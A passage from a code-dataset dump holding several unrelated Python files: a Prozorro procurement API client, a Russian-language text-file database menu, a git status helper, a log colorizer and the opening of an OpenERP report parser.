copy(self.HEADERS_DEFAULT)\n headers.update(self.kwargs.pop(\"headers\", {}))\n self.kwargs.update(dict(headers=headers))\n\n @staticmethod\n def pop_handlers(kwargs, success_handler=None, error_handler=None):\n return dict(\n (k, v)\n for k, v in dict(\n success_handler=kwargs.pop(\"success_handler\", success_handler),\n error_handler=kwargs.pop(\"error_handler\", error_handler),\n ).items()\n if v is not None\n )\n\n def get_url(self, api_path):\n return urljoin(self.host, api_path)\n\n def format_data(self, data):\n try:\n text = json.dumps(data, ensure_ascii=False, indent=4)\n except TypeError:\n text = str(data)\n return text\n\n def log_request(self, data):\n if data is not None:\n request_text = self.format_data(data)\n logging.debug(f\"Request:\\n {request_text}\")\n\n def log_response(self, text):\n if text is not None:\n try:\n data = json.loads(text)\n except json.JSONDecodeError:\n response_text = text\n else:\n response_text = self.format_data(data)\n logging.debug(f\"Response:\\n {response_text}\")\n\n def request(self, method, path, **kwargs):\n request_kwargs = deepcopy(self.kwargs)\n handlers = self.pop_handlers(kwargs)\n request_kwargs.update(kwargs)\n url = self.get_url(path)\n response = self.session.request(method=method, url=url, **request_kwargs)\n if self.debug:\n self.log_request(request_kwargs.get(\"json\", None))\n self.log_response(response.text)\n response_handler(response, **handlers)\n return response\n\n def get(self, path, **kwargs):\n return self.request(\"GET\", path, **kwargs)\n\n def post(self, path, json=None, **kwargs):\n return self.request(\"POST\", path, json=json, **kwargs)\n\n def patch(self, path, json=None, **kwargs):\n return self.request(\"PATCH\", path, json=json, **kwargs)\n\n\nclass BaseCDBClient(BaseApiClient):\n SPORE_PATH = \"spore\"\n\n def __init__(\n self,\n host,\n auth_token=None,\n path_prefix=API_PATH_PREFIX_DEFAULT,\n session=None,\n **request_kwargs,\n ):\n super(BaseCDBClient, self).__init__(host, session=session, **request_kwargs)\n self.path_prefix = path_prefix\n self.set_kwargs(auth_token)\n spore_url = self.get_url(self.get_api_path(self.SPORE_PATH))\n # GET request to retrieve SERVER_ID cookie and server time\n response = self.session.get(spore_url)\n client_datetime = get_utcnow()\n try:\n server_datetime = parse_date_header(response.headers.get(\"date\"))\n self.client_timedelta = server_datetime - client_datetime\n except:\n self.client_timedelta = timedelta()\n client_init_response_handler(response, self.client_timedelta)\n\n def set_kwargs(self, auth_token):\n self.kwargs[\"headers\"].update({\"Content-Type\": \"application/json\"})\n if auth_token:\n self.kwargs[\"headers\"].update({\"Authorization\": \"Bearer \" + auth_token})\n\n def get_api_path(self, path, acc_token=None):\n return urljoin(\n self.path_prefix,\n urljoin(path, \"?acc_token={}\".format(acc_token) if acc_token else None),\n )\n\n\nclass TendersApiClient(BaseCDBClient):\n TENDERS_COLLECTION_PATH = \"tenders\"\n TENDERS_PATH = \"tenders/{}\"\n TENDERS_DOCUMENTS_COLLECTION_PATH = \"tenders/{}/documents\"\n PLANS_PATH = \"tenders/{}/plans\"\n CRITERIA_COLLECTION_PATH = \"tenders/{}/criteria\"\n BIDS_COLLECTION_PATH = \"tenders/{}/bids\"\n BIDS_PATH = \"tenders/{}/bids/{}\"\n BIDS_RES_COLLECTION_PATH = \"tenders/{}/bids/{}/requirement_responses\"\n AWARDS_COLLECTION_PATH = \"tenders/{}/awards\"\n AWARDS_PATH = \"tenders/{}/awards/{}\"\n CONTRACTS_COLLECTION_PATH = \"tenders/{}/contracts\"\n CONTRACTS_PATH = \"tenders/{}/contracts/{}\"\n CONTRACT_UNIT_VALUE_PATH = \"tenders/{}/contracts/{}/items/{}/unit/value\"\n QUALIFICATIONS_COLLECTION_PATH = \"tenders/{}/qualifications\"\n QUALIFICATIONS_PATH = \"tenders/{}/qualifications/{}\"\n AGREEMENTS_COLLECTION_PATH = \"tenders/{}/agreements\"\n AGREEMENTS_PATH = \"tenders/{}/agreements/{}\"\n AGREEMENTS_DOCUMENTS_COLLECTION_PATH = \"tenders/{}/agreements/{}/documents\"\n AGREEMENTS_CONTRACTS_COLLECTION_PATH = \"tenders/{}/agreements/{}/contracts\"\n AGREEMENTS_CONTRACTS_PATH = \"tenders/{}/agreements/{}/contracts/{}\"\n CREDENTIALS_PATH = \"tenders/{}/credentials\"\n COMPLAINTS_COLLECTION_PATH = \"tenders/{}/complaints\"\n COMPLAINTS_PATH = \"tenders/{}/complaints/{}\"\n AWARDS_COMPLAINTS_COLLECTION_PATH = \"tenders/{}/awards/{}/complaints\"\n AWARDS_COMPLAINTS_PATH = \"tenders/{}/awards/{}/complaints/{}\"\n QUALIFICATIONS_COMPLAINTS_COLLECTION_PATH = (\n \"tenders/{}/qualifications/{}/complaints\"\n )\n QUALIFICATIONS_COMPLAINTS_PATH = \"tenders/{}/qualifications/{}/complaints/{}\"\n\n def get_tender(self, tender_id, **kwargs):\n tenders_path = self.TENDERS_PATH.format(tender_id)\n path = self.get_api_path(tenders_path)\n return self.get(path, **kwargs)\n\n def post_tender(self, json, **kwargs):\n tenders_path = self.TENDERS_COLLECTION_PATH\n path = self.get_api_path(tenders_path)\n return self.post(path, json, **kwargs)\n\n def patch_tender(self, tender_id, acc_token, json, **kwargs):\n tenders_path = self.TENDERS_PATH.format(tender_id)\n path = self.get_api_path(tenders_path, acc_token=acc_token)\n return self.patch(path, json, **kwargs)\n\n def post_tender_document(self, tender_id, acc_token, json, **kwargs):\n documents_path = self.TENDERS_DOCUMENTS_COLLECTION_PATH.format(tender_id)\n path = self.get_api_path(documents_path, acc_token=acc_token)\n return self.post(path, json, **kwargs)\n\n def post_plan(self, tender_id, acc_token, json, **kwargs):\n tenders_path = self.PLANS_PATH.format(tender_id)\n path = self.get_api_path(tenders_path, acc_token=acc_token)\n return self.post(path, json, **kwargs)\n\n def post_criteria(self, tender_id, acc_token, json, **kwargs):\n criteria_path = self.CRITERIA_COLLECTION_PATH.format(tender_id)\n path = self.get_api_path(criteria_path, acc_token=acc_token)\n return self.post(path, json, **kwargs)\n\n def get_bids(self, tender_id, **kwargs):\n bid_path = self.BIDS_COLLECTION_PATH.format(tender_id)\n path = self.get_api_path(bid_path)\n return self.get(path, **kwargs)\n\n def get_bid(self, tender_id, bid_id, acc_token, **kwargs):\n bid_path = self.BIDS_PATH.format(tender_id, bid_id)\n path = self.get_api_path(bid_path, acc_token=acc_token)\n return self.get(path, **kwargs)\n\n def post_bid(self, tender_id, json, **kwargs):\n bids_path = self.BIDS_COLLECTION_PATH.format(tender_id)\n path = self.get_api_path(bids_path)\n return self.post(path, json, **kwargs)\n\n def patch_bid(self, tender_id, bid_id, acc_token, json, **kwargs):\n bid_path = self.BIDS_PATH.format(tender_id, bid_id)\n path = self.get_api_path(bid_path, acc_token=acc_token)\n return self.patch(path, json, **kwargs)\n\n def post_bid_res(self, tender_id, bid_id, acc_token, json, **kwargs):\n bid_res_path = self.BIDS_RES_COLLECTION_PATH.format(tender_id, bid_id)\n path = self.get_api_path(bid_res_path, acc_token=acc_token)\n return self.post(path, json, **kwargs)\n\n def get_complaints(self, tender_id, **kwargs):\n complaints_path = self.COMPLAINTS_COLLECTION_PATH.format(tender_id)\n path = self.get_api_path(complaints_path)\n return self.get(path, **kwargs)\n\n def get_complaint(self, tender_id, complaint_id, **kwargs):\n complaints_path = self.COMPLAINTS_PATH.format(tender_id, complaint_id)\n path = self.get_api_path(complaints_path)\n return self.get(path, **kwargs)\n\n def post_complaint(self, tender_id, acc_token, json, **kwargs):\n complaints_path = self.COMPLAINTS_COLLECTION_PATH.format(tender_id)\n path = self.get_api_path(complaints_path, acc_token=acc_token)\n return self.post(path, json, **kwargs)\n\n def patch_complaint(self, tender_id, complaint_id, acc_token, json, **kwargs):\n complaints_path = self.COMPLAINTS_PATH.format(tender_id, complaint_id)\n path = self.get_api_path(complaints_path, acc_token=acc_token)\n return self.patch(path, json, **kwargs)\n\n def get_qualifications(self, tender_id, **kwargs):\n qualifications_path = self.QUALIFICATIONS_COLLECTION_PATH.format(tender_id)\n path = self.get_api_path(qualifications_path)\n return self.get(path, **kwargs)\n\n def get_qualification(self, tender_id, qualification_id, **kwargs):\n qualifications_path = self.QUALIFICATIONS_PATH.format(\n tender_id, qualification_id\n )\n path = self.get_api_path(qualifications_path)\n return self.get(path, **kwargs)\n\n def patch_qualification(\n self, tender_id, qualification_id, acc_token, json, **kwargs\n ):\n qualifications_path = self.QUALIFICATIONS_PATH.format(\n tender_id, qualification_id, acc_token\n )\n path = self.get_api_path(qualifications_path, acc_token=acc_token)\n return self.patch(path, json, **kwargs)\n\n def get_qualification_complaints(self, tender_id, qualification_id, **kwargs):\n complaints_path = self.QUALIFICATIONS_COMPLAINTS_COLLECTION_PATH.format(\n tender_id, qualification_id\n )\n path = self.get_api_path(complaints_path)\n return self.get(path, **kwargs)\n\n def get_qualification_complaint(\n self, tender_id, qualification_id, complaint_id, **kwargs\n ):\n complaints_path = self.QUALIFICATIONS_COMPLAINTS_PATH.format(\n tender_id, qualification_id, complaint_id\n )\n path = self.get_api_path(complaints_path)\n return self.get(path, **kwargs)\n\n def post_qualification_complaint(\n self, tender_id, qualification_id, acc_token, json, **kwargs\n ):\n complaints_path = self.QUALIFICATIONS_COMPLAINTS_COLLECTION_PATH.format(\n tender_id, qualification_id\n )\n path = self.get_api_path(complaints_path, acc_token=acc_token)\n return self.post(path, json, **kwargs)\n\n def patch_qualification_complaint(\n self, tender_id, qualification_id, complaint_id, acc_token, json, **kwargs\n ):\n complaints_path = self.QUALIFICATIONS_COMPLAINTS_PATH.format(\n tender_id, qualification_id, complaint_id\n )\n path = self.get_api_path(complaints_path, acc_token=acc_token)\n return self.patch(path, json, **kwargs)\n\n def get_awards(self, tender_id, **kwargs):\n awards_path = self.AWARDS_COLLECTION_PATH.format(tender_id)\n path = self.get_api_path(awards_path)\n return self.get(path, **kwargs)\n\n def get_award(self, tender_id, award_id, **kwargs):\n awards_path = self.AWARDS_PATH.format(tender_id, award_id)\n path = self.get_api_path(awards_path)\n return self.get(path, **kwargs)\n\n def post_award(self, tender_id, acc_token, json, **kwargs):\n awards_path = self.AWARDS_COLLECTION_PATH.format(tender_id)\n path = self.get_api_path(awards_path, acc_token=acc_token)\n return self.post(path, json, **kwargs)\n\n def patch_award(self, tender_id, award_id, acc_token, json, **kwargs):\n awards_path = self.AWARDS_PATH.format(tender_id, award_id, acc_token)\n path = self.get_api_path(awards_path, acc_token=acc_token)\n return self.patch(path, json, **kwargs)\n\n def get_award_complaints(self, tender_id, award_id, **kwargs):\n complaints_path = self.AWARDS_COMPLAINTS_COLLECTION_PATH.format(\n tender_id, award_id\n )\n path = self.get_api_path(complaints_path)\n return self.get(path, **kwargs)\n\n def get_award_complaint(self, tender_id, award_id, complaint_id, **kwargs):\n complaints_path = self.AWARDS_COMPLAINTS_PATH.format(\n tender_id, award_id, complaint_id\n )\n path = self.get_api_path(complaints_path)\n return self.get(path, **kwargs)\n\n def post_award_complaint(self, tender_id, award_id, acc_token, json, **kwargs):\n complaints_path = self.AWARDS_COMPLAINTS_COLLECTION_PATH.format(\n tender_id, award_id\n )\n path = self.get_api_path(complaints_path, acc_token=acc_token)\n return self.post(path, json, **kwargs)\n\n def patch_award_complaint(\n self, tender_id, award_id, complaint_id, acc_token, json, **kwargs\n ):\n complaints_path = self.AWARDS_COMPLAINTS_PATH.format(\n tender_id, award_id, complaint_id\n )\n path = self.get_api_path(complaints_path, acc_token=acc_token)\n return self.patch(path, json, **kwargs)\n\n def get_contracts(self, tender_id, **kwargs):\n awards_path = self.CONTRACTS_COLLECTION_PATH.format(tender_id)\n path = self.get_api_path(awards_path)\n return self.get(path, **kwargs)\n\n def patch_contract(self, tender_id, contract_id, acc_token, json, **kwargs):\n awards_path = self.CONTRACTS_PATH.format(tender_id, contract_id, acc_token)\n path = self.get_api_path(awards_path, acc_token=acc_token)\n return self.patch(path, json, **kwargs)\n\n def patch_contract_unit_value(\n self, tender_id, contract_id, item_id, acc_token, json, **kwargs\n ):\n awards_path = self.CONTRACT_UNIT_VALUE_PATH.format(\n tender_id, contract_id, item_id, acc_token\n )\n path = self.get_api_path(awards_path, acc_token=acc_token)\n return self.patch(path, json, **kwargs)\n\n def get_agreements(self, tender_id, **kwargs):\n agreements_path = self.AGREEMENTS_COLLECTION_PATH.format(tender_id)\n path = self.get_api_path(agreements_path)\n return self.get(path, **kwargs)\n\n def patch_agreement(self, tender_id, agreement_id, acc_token, json, **kwargs):\n agreements_path = self.AGREEMENTS_PATH.format(\n tender_id, agreement_id, acc_token\n )\n path = self.get_api_path(agreements_path, acc_token=acc_token)\n return self.patch(path, json, **kwargs)\n\n def post_agreement_document(\n self, tender_id, agreement_id, acc_token, json, **kwargs\n ):\n agreements_path = self.AGREEMENTS_DOCUMENTS_COLLECTION_PATH.format(\n tender_id, agreement_id\n )\n path = self.get_api_path(agreements_path, acc_token=acc_token)\n return self.post(path, json, **kwargs)\n\n def get_agreement_contracts(self, tender_id, agreement_id, **kwargs):\n agreement_contracts_path = self.AGREEMENTS_CONTRACTS_COLLECTION_PATH.format(\n tender_id, agreement_id\n )\n path = self.get_api_path(agreement_contracts_path)\n return self.get(path, **kwargs)\n\n def patch_agreement_contract(\n self, tender_id, agreement_id, contract_id, acc_token, json, **kwargs\n ):\n agreement_contracts_path = self.AGREEMENTS_CONTRACTS_PATH.format(\n tender_id, agreement_id, contract_id, acc_token\n )\n path = self.get_api_path(agreement_contracts_path, acc_token=acc_token)\n return self.patch(path, json, **kwargs)\n\n def patch_credentials(self, tender_id, acc_token, json, **kwargs):\n credentials_path = self.CREDENTIALS_PATH.format(tender_id)\n path = self.get_api_path(credentials_path, acc_token=acc_token)\n return self.patch(path, json, **kwargs)\n\n\nclass AgreementsApiClient(BaseCDBClient):\n AGREEMENTS_PATH = \"agreements/{}\"\n\n def get_agreement(self, agreement_id, **kwargs):\n agreements_path = self.AGREEMENTS_PATH.format(agreement_id)\n path = self.get_api_path(agreements_path)\n return self.get(path, **kwargs)\n\n\nclass ContractsApiClient(BaseCDBClient):\n CONTRACTS_PATH = \"contracts/{}\"\n CREDENTIALS_PATH = \"contracts/{}/credentials\"\n\n def get_contract(self, contract_id, **kwargs):\n contracts_path = self.CONTRACTS_PATH.format(contract_id)\n path = self.get_api_path(contracts_path)\n return self.get(path, **kwargs)\n\n def patch_credentials(self, contract_id, acc_token, json, **kwargs):\n credentials_path = self.CREDENTIALS_PATH.format(contract_id)\n path = self.get_api_path(credentials_path, acc_token=acc_token)\n return self.patch(path, json, **kwargs)\n\n\nclass PlansApiClient(BaseCDBClient):\n PLANS_COLLECTION_PATH = \"plans\"\n PLANS_PATH = \"plans/{}\"\n TENDERS_COLLECTION_PATH = \"plans/{}/tenders\"\n\n def get_plan(self, plan_id, **kwargs):\n contracts_path = self.PLANS_PATH.format(plan_id)\n path = self.get_api_path(contracts_path)\n return self.get(path, **kwargs)\n\n def post_plan(self, json, **kwargs):\n tenders_path = self.PLANS_COLLECTION_PATH\n path = self.get_api_path(tenders_path)\n return self.post(path, json, **kwargs)\n\n def patch_plan(self, plan_id, acc_token, json, **kwargs):\n tenders_path = self.PLANS_PATH.format(plan_id)\n path = self.get_api_path(tenders_path, acc_token=acc_token)\n return self.patch(path, json, **kwargs)\n\n def post_tender(self, plan_id, json, **kwargs):\n tenders_path = self.TENDERS_COLLECTION_PATH.format(plan_id)\n path = self.get_api_path(tenders_path)\n return self.post(path, json, **kwargs)\n\n\nclass DsApiClient(BaseApiClient):\n UPLOAD_PATH = \"upload\"\n\n def __init__(\n self, host, username=None, password=None, session=None, **request_kwargs\n ):\n super(DsApiClient, self).__init__(host, session=session, **request_kwargs)\n self.set_kwargs(username, password)\n\n def set_kwargs(self, username, password):\n if username and password:\n self.kwargs[\"headers\"].update(\n {\n \"Authorization\": \"Basic \"\n + b64encode(\"{}:{}\".format(username, password).encode()).decode()\n }\n )\n\n def post_document_upload(self, files, **kwargs):\n path = self.UPLOAD_PATH\n return self.post(path, files=files, **kwargs)\n","repo_name":"ProzorroUKR/procedure_tools","sub_path":"procedure_tools/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":19392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"71031784562","text":"import os\nimport re\nfrom itertools import zip_longest\n\n\ndef is_valid_menu_choice(\n menu_item, *args\n): # проверка на правильный выбор в меню, является ли выбор числом и входит ли в заданный промежуток\n if menu_item.isdigit() and int(menu_item) in args:\n return True\n return False\n\n\ndef add_line(path, fields_number): # добавляем новую строку в файл\n\n if (\n fields_number > 1\n ): # проверка является ли файл не пустым, если да, то строка должна содержать тоже количество полей что и другие строки\n new_line = input(\n f\"Введите строку для добавления, содержащую {fields_number} полей, разделенных символом '|'\"\n f\"\\nДля возврата на предыдущий уровень меню введите /back\\n\"\n )\n else: # если нет, количество полей произвольное\n new_line = input(\n \"Введите строку для добавления, содержащую произвольное количество полей, разделенных символом '|'\"\n \"\\nДля возврата на предыдущий уровень меню введите /back\\n\"\n )\n\n if new_line == \"/back\": # возвращаемся назад по команде /back\n file_processing(path)\n if (\n len(new_line.split(\"|\")) == fields_number or fields_number < 2\n ): # добавляем строку, если введенная строка содержит тоже количество полей, что и до этого в файле или файл новый\n with open(path, \"a\", encoding=\"utf-8\") as file:\n file.write(new_line + \"\\n\")\n file.close()\n file_processing(path)\n else:\n print(\"Строка содержит неверное количество полей\")\n add_line(\n path, fields_number\n ) # вводим строку ещё раз, в случае несоблюдения условий\n\n\ndef print_line(line): # печать одной строки из бд\n line_list = line.split(\"|\")\n line_list = list(\n map(\n lambda x: x.split(\n \"\\n\"\n ), # делаем из поля список, разбивая по переносам на новую строку\n map(\n lambda line_: re.sub(\n \"(.{15})\", \"\\\\1\\n\", line_.strip(), 0, re.DOTALL\n ), # оквадрачиваем строчку, делаем перенос на новую строку через каждые 15 символов\n line_list,\n ),\n )\n )\n for el in line_list:\n if (\n 15 - len(el[-1]) > 0\n ): # если последняя строчка в поле короче 15 символов, докидываем пробелов до 15\n diff = 15 - len(el[-1])\n el[-1] = el[-1] + \" \" * diff\n line_zip = zip_longest(\n *line_list, fillvalue=\" \" * 15\n ) # разбиваем поля построчно (трудно объяснить словами, если шаришь как зип работает, то поймёшь)\n for merged_line in line_zip:\n print(*merged_line, sep=\"|\") # печатаем каждую строку полей\n print(\"_\" * 20)\n\n\ndef one_field_search(path, field_number): # поиск по одному полю\n if field_number == \"/back\": # возвращаемся назад по команде /back\n file_processing(path)\n with open(path, \"r+\", encoding=\"utf-8\") as file: # смотрим сколько полей в таблице\n line = file.readline()\n fields_number = len(line.split(\"|\"))\n file.close()\n if field_number.isdigit() and int(field_number) in range(\n 1, fields_number + 1\n ): # проверяем входит ли номер поля по которому ищем в промежуток и является ли номер числом\n search_phrase = input(\n \"Введите фразу для поиска\\n\"\n ) # спрашиваем фразу для поиска\n with open(path, \"r\", encoding=\"utf-8\") as file:\n for line in file:\n if line.split(\"|\")[int(field_number) - 1].__contains__(\n search_phrase\n ): # если искомая фраза входит, печатаем строку\n print_line(line)\n file_processing(path) # возвращаемся назад в предыдущее меню\n else: # просим ввести номер поля ещё раз, в случае неправильно введенного\n one_field_search(\n path,\n input(\n \"Неправильно введенное значение номера поля. \"\n \"Введите числовое значение в промежутке\"\n f\"{list(range(1, fields_number+1))}\\n\"\n ),\n )\n\n\ndef two_fields_search(path, field_number): # поиск по двум полям\n if field_number == [\"/back\"]: # возвращаемся назад по команде /back\n file_processing(path)\n with open(path, \"r+\", encoding=\"utf-8\") as file: # смотрим сколько полей в таблице\n line = file.readline()\n fields_number = len(line.split(\"|\"))\n file.close()\n if (\n len(field_number) > 1\n ): # проверяем, правильно ли были введены номера полей для поиска, 2 числа через пробел\n (\n first_field_number,\n second_field_number,\n ) = field_number # переменные номеров искомых полей\n fields_range = range(\n 1, fields_number + 1\n ) # промежуток, в который должны входить номера искомых полей\n if ( # проверяем, правильно ли были введены номера полей для поиска, 2 числа через пробел, являются ли они числами, входят ли в промежуток\n first_field_number.isdigit()\n and first_field_number.isdigit()\n and fields_range.__contains__(int(first_field_number))\n and fields_range.__contains__(int(second_field_number))\n ):\n search_phrase = input(\n \"Введите фразу для поиска\\n\"\n ) # спрашиваем фразу для поиска\n with open(path, \"r\", encoding=\"utf-8\") as file:\n for line in file:\n if line.split(\"|\")[\n int(first_field_number) - 1\n ].__contains__( # если искомая фраза входит в одно из двух полей, печатаем строку\n search_phrase\n ) or line.split(\n \"|\"\n )[\n int(second_field_number) - 1\n ].__contains__(\n search_phrase\n ):\n print_line(line)\n file_processing(path)\n else:\n two_fields_search( # просим ввести номера полей ещё раз, в случае неправильно введенных\n path,\n input(\n \"Неправильно введенное значение номера поля. \"\n \"Введите 2 числа через пробел в промежутке\"\n f\"{list(range(1, fields_number+1))}\\n\"\n ).split(),\n )\n else:\n two_fields_search( # просим ввести номера полей ещё раз, в случае неправильно введенных\n path,\n input(\n \"Неправильно введенное значение номера поля. \"\n \"Введите 2 числа через пробел в промежутке\"\n f\"{list(range(1, fields_number + 1))}\\n\"\n ).split(),\n )\n\n\ndef file_processing(path): # меню работы с файлом\n file_menu_item = input(\n \"Выберите действие с файлом:\\n1. Показать содержимое\\n2. Добавить запись\"\n \"\\n3. Поиск по одному полю\"\n \"\\n4. Поиск по двум полям\"\n \"\\n5. Выход в главное меню\\nДля ответа введите цифру пункта\\n\"\n )\n if is_valid_menu_choice(\n file_menu_item, 1, 2, 3, 4, 5\n ): # проверка на правильный выбор в меню, является ли выбор числом и входит ли в заданный промежуток\n file_menu_item = int(file_menu_item)\n if file_menu_item == 1: # печатаем всю таблицу\n with open(path, \"r\", encoding=\"utf-8\") as file:\n for line in file:\n print_line(line)\n file_processing(path)\n if file_menu_item == 2: # добавляем строку в файл\n with open(\n path, \"r+\", encoding=\"utf-8\"\n ) as file: # смотрим сколько полей в таблице\n line = file.readline()\n fields_number = len(line.split(\"|\"))\n file.close()\n add_line(path, fields_number) # добавляем новую строку\n if file_menu_item == 3: # поиск по одному полю\n one_field_search(\n path,\n input(\n \"Введите номер поля, по которому осуществляется поиск\"\n \"\\nДля возврата на предыдущий уровень меню введите /back\\n\"\n ),\n )\n if file_menu_item == 4:\n two_fields_search( # поиск по двум полям\n path,\n input(\n \"Введите номера поля, по которому осуществляется поиск числами через пробел\"\n \"\\nДля возврата на предыдущий уровень меню введите /back\\n\"\n ).split(),\n )\n if file_menu_item == 5: # в главное меню\n start_menu()\n\n\ndef open_existing_file(path): # открыть существующий файл\n if path == \"/back\": # возвращаемся назад по команде /back\n start_menu()\n if os.path.isfile(path): # проверяем есть ли файл по введенному пути\n name, extension = os.path.splitext(\n path\n ) # проверяем расширение файла, должно быть .txt\n if extension == \".txt\":\n file_processing(path) # запускаем меню работы с файлом\n else:\n open_existing_file(\n input(\n \"Укажите путь до существующего файла с расширением .txt\\n\"\n ) # просим ввести путь до файла ещё раз, в случае неправильно введенного\n )\n else:\n open_existing_file(\n input(\n \"Укажите путь до существующего файла с расширением .txt\\n\"\n ) # просим ввести путь до файла ещё раз, в случае неправильно введенного\n )\n\n\ndef create_new_file(path): # создаем/перезаписываем новый файл\n if path == \"/back\": # возвращаемся назад по команде /back\n start_menu()\n if os.path.exists(path) and os.path.isdir(\n path\n ): # проверяем, существует ли такая папка\n file_name = input(\n \"Введите имя нового файла БЕЗ расширения\\n\"\n ) # вводим имя создаваемого файла\n path_to_new_file = f\"{path}/{file_name}.txt\" # путь до нового файла\n open(path_to_new_file, \"w+\").close() # создаем новый файл\n open_existing_file(path_to_new_file) # запускаем меню обработки файла\n else:\n create_new_file(\n input(\"Укажите путь до существующей директории\\n\")\n ) # просим ввести путь ещё раз, если до этого был указан неправильно\n\n\ndef start(menu_item):\n if is_valid_menu_choice(\n menu_item, 1, 2, 3\n ): # проверка на правильный выбор в меню, является ли выбор числом и входит ли в заданный промежуток\n menu_item = int(menu_item)\n if menu_item == 1: # открываем существующий файл\n existing_db_path = input(\n \"Укажите путь для открытия файла\\n\"\n \"Для возврата на предыдущий уровень меню введите /back\\n\"\n )\n open_existing_file(existing_db_path) # запускаем меню работы с файлом\n elif menu_item == 2: # создаем новый файл\n new_db_path = input( # спрашиваем директорию, в которой создать файл\n \"Укажите директорию инициализации нового файла\\n\"\n \"Для возврата на предыдущий уровень меню введите /back\\n\"\n )\n create_new_file(new_db_path) # запускаем создание нового файла\n elif menu_item == 3: # закрыть программу\n exit() # закрываем программу\n else:\n start( # просим выбрать в меню ещё раз, в случае неправильного выбора\n input(\n \"Укажите валидный пункт меню. Пункт меню выбирается вводом цифры пункта\\n\"\n )\n )\n\n\ndef start_menu():\n start_menu_input = input( # главное меню\n \"Выберите действие:\\n1. Открыть существующий файл базы данных\"\n \"\\n2. Создать новый файл базы данных\"\n \"\\n3. Закрыть программу\\n\"\n \"Для ответа введите цифру пункта\\n\"\n )\n start(start_menu_input) # запускаем обработку выбора в главном меню\n\n\nstart_menu() # запускаем главное меню при запуске скрипта\n","repo_name":"graky/kotova_lab","sub_path":"txt_db.py","file_name":"txt_db.py","file_ext":"py","file_size_in_byte":15823,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"27053985542","text":"#!/usr/bin/env python3\n\nimport os\nimport pathlib\nimport subprocess as sp\n\npath = cmd=os.getcwd()\nprint (path)\nstatus = sp.run(\"git status\")\nprint (status)\nwith sp.Popen(['git', 'status'], stdout=sp.PIPE) as sp:\n result = sp.stdout.read().decode(\"utf-8\")\nif result.find('not') == -1:\n print('fatal: not a git repository (or any of the parent directories)')\n\nelse:\n cmd=os.getcwd()\nbash_command = [\"cd \"+cmd, \"git status\"]\nresult_os = os.popen(' && '.join(bash_command)).read()\nis_change = False\nfor result in result_os.split('\\n'):\n if result.find('modified') != -1:\n prepare_result = result.replace('\\tmodified: ', ' ')\n print(cmd+prepare_result) \n break\n","repo_name":"davydoffserge/devops_netology","sub_path":"2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"23323993881","text":"from sys import stdin\nimport re\n\n# The format of the lines colorized by this script is as follows. Any lines not conforming to this format\n# are ignored and forwarded to the standard out without any added colorization.\n#\n# 2023-05-18 09:03:03.618 80 INFO PLATFORM_STATUS <main> SwirldsPlatform: Platform status changed to...\n# | | | | | | |\n# timestamp | | marker | | arbitrary string\n# log number | thread name |\n# | class name\n# log level\n\nwhitespace_regex = '\\s+'\ncaptured_whitespace_regex = '(\\s+)'\ntimestamp_regex = '(\\d{4}-\\d{2}-\\d{2} \\d{2}:\\d{2}:\\d{2}\\.\\d+)'\nlog_number_regex = '(\\d+)'\nlog_level_regex = '(TRACE|DEBUG|INFO|WARN|ERROR|FATAL)'\nmarker_regex = '([A-Za-z0-9_]+)'\nthread_name_regex = '(<<?[^>]+>>?)'\nclass_thread_name_regex = '([A-Za-z0-9_]+)'\nremainder_of_line_regex = '(.*)'\n\nfull_regex = timestamp_regex + whitespace_regex + \\\n log_number_regex + captured_whitespace_regex + \\\n log_level_regex + captured_whitespace_regex + \\\n marker_regex + captured_whitespace_regex + \\\n thread_name_regex + whitespace_regex + \\\n class_thread_name_regex + remainder_of_line_regex\n\nregex = re.compile(full_regex)\n\nRED = '\\033[91m'\nTEAL = '\\033[96m'\nYELLOW = '\\033[93m'\nGREEN = '\\033[92m'\nBRIGHT_BLUE = '\\033[94m'\nGRAY = '\\033[90m'\nPURPLE = '\\033[95m'\nWHITE = '\\033[37m'\nBRIGHT_WHITE = '\\033[97m'\nEND = '\\033[0m'\n\ndef format_timestamp(timestamp):\n return GRAY + timestamp + END\n\ndef format_log_number(log_number):\n return WHITE + log_number + END\n\ndef format_log_level(log_level):\n if log_level in ('TRACE', 'DEBUG', 'INFO'):\n return GREEN + log_level + END\n elif log_level == 'WARN':\n return YELLOW + log_level + END\n else:\n return RED + log_level + END\n\ndef format_marker(marker):\n return BRIGHT_BLUE + marker + END\n\ndef format_thread_name(thread_name):\n return BRIGHT_WHITE + thread_name + END\n\ndef format_class_name(class_name):\n return TEAL + class_name + END\n\ndef format(line):\n match = regex.match(line)\n if match is None:\n return line\n\n index = 1\n\n timestamp = match.group(index)\n index += 1\n\n log_number = match.group(index)\n index += 1\n\n log_number_whitespace = match.group(index)\n index += 1\n\n log_level = match.group(index)\n index += 1\n\n log_level_whitespace = match.group(index)\n index += 1\n\n marker = match.group(index)\n index += 1\n\n marker_whitespace = match.group(index)\n index += 1\n\n thread_name = match.group(index)\n index += 1\n\n class_name = match.group(index)\n index += 1\n\n remainder = match.group(index)\n index += 1\n\n return format_timestamp(timestamp) + ' ' + \\\n format_log_number(log_number) + log_number_whitespace + \\\n format_log_level(log_level) + log_level_whitespace + \\\n format_marker(marker) + marker_whitespace + \\\n format_thread_name(thread_name) + ' ' + \\\n format_class_name(class_name) + \\\n remainder + \"\\n\"\n\nfor line in stdin:\n print(format(line), end='')\n\n","repo_name":"leninmehedy/hedera-services","sub_path":"platform-sdk/swirlds-cli/color-logs.py","file_name":"color-logs.py","file_ext":"py","file_size_in_byte":3268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"75"} +{"seq_id":"41632706850","text":"from openerp.report import report_sxw\nfrom openerp.tools.translate import _\nfrom openerp import pooler\nfrom datetime import datetime\n\nfrom .common_reports import CommonReportHeaderWebkit\nfrom .webkit_parser_header_fix import HeaderFooterTextWebKitParser\n\n\nclass PrintJournalWebkit(report_sxw.rml_parse, CommonReportHeaderWebkit):\n\n def __init__(self, cursor, uid, name, context):\n super(PrintJournalWebkit, self).__init__(cursor, uid, name,\n context=context)\n self.pool = pooler.get_pool(self.cr.dbname)\n self.cursor = self.cr\n\n company_obj = self.pool.get('res.company')\n\n company_id = company_obj._company_default_get(self.cr, uid,\n 